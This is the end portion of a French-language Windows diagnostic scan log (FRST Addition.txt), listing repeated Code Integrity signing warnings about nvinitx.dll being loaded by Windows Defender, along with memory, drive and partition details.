Description: Code Integrity determined that a process (\Device\HarddiskVolume4\Program Files\Windows Defender\MsMpEng.exe) attempted to load \Device\HarddiskVolume4\Windows\System32\nvinitx.dll that did not meet the Custom 3 / Antimalware signing level requirements.
Date: 2016-01-16 22:25:31.931
Description: Code Integrity determined that a process (\Device\HarddiskVolume4\Program Files\Windows Defender\MsMpEng.exe) attempted to load \Device\HarddiskVolume4\Windows\System32\nvinitx.dll that did not meet the Custom 3 / Antimalware signing level requirements.
Date: 2016-01-15 23:25:30.958
Description: Code Integrity determined that a process (\Device\HarddiskVolume4\Program Files\Windows Defender\MsMpEng.exe) attempted to load \Device\HarddiskVolume4\Windows\System32\nvinitx.dll that did not meet the Custom 3 / Antimalware signing level requirements.
Date: 2016-01-15 13:27:38.148
Description: Code Integrity determined that a process (\Device\HarddiskVolume4\Program Files\Windows Defender\MsMpEng.exe) attempted to load \Device\HarddiskVolume4\Windows\System32\nvinitx.dll that did not meet the Custom 3 / Antimalware signing level requirements.
Date: 2016-01-14 00:53:00.245
Description: Code Integrity is unable to verify the image integrity of the file \Device\HarddiskVolume4\Windows\System32\efswrt.dll because the set of per-page image hashes could not be found on the system.
Date: 2016-01-13 21:35:01.984
Description: Code Integrity determined that a process (\Device\HarddiskVolume4\Program Files\Windows Defender\MsMpEng.exe) attempted to load \Device\HarddiskVolume4\Windows\System32\nvinitx.dll that did not meet the Custom 3 / Antimalware signing level requirements.
Date: 2016-01-11 23:23:24.189
Description: Code Integrity determined that a process (\Device\HarddiskVolume4\Program Files\Windows Defender\MsMpEng.exe) attempted to load \Device\HarddiskVolume4\Windows\System32\nvinitx.dll that did not meet the Custom 3 / Antimalware signing level requirements.
==================== Infos Mémoire ===========================
Processeur: Intel(R) Core(TM) i5-4200U CPU @ 1.60GHz
Pourcentage de mémoire utilisée: 60%
Mémoire physique - RAM - totale: 3979.27 MB
Mémoire physique - RAM - disponible: 1585.46 MB
Mémoire virtuelle totale: 4683.27 MB
Mémoire virtuelle disponible: 1876.3 MB
==================== Lecteurs ================================
Drive c: (OS) (Fixed) (Total:372.6 GB) (Free:332.82 GB) NTFS ==>[système avec composants d'amorçage (obtenu depuis lecteur)]
Drive d: (Data) (Fixed) (Total:537.8 GB) (Free:537.64 GB) NTFS
==================== MBR & Table des partitions ==================
========================================================
Disk: 0 (Size: 931.5 GB) (Disk ID: A9F4529D)
Partition: GPT.
==================== Fin de Addition.txt ============================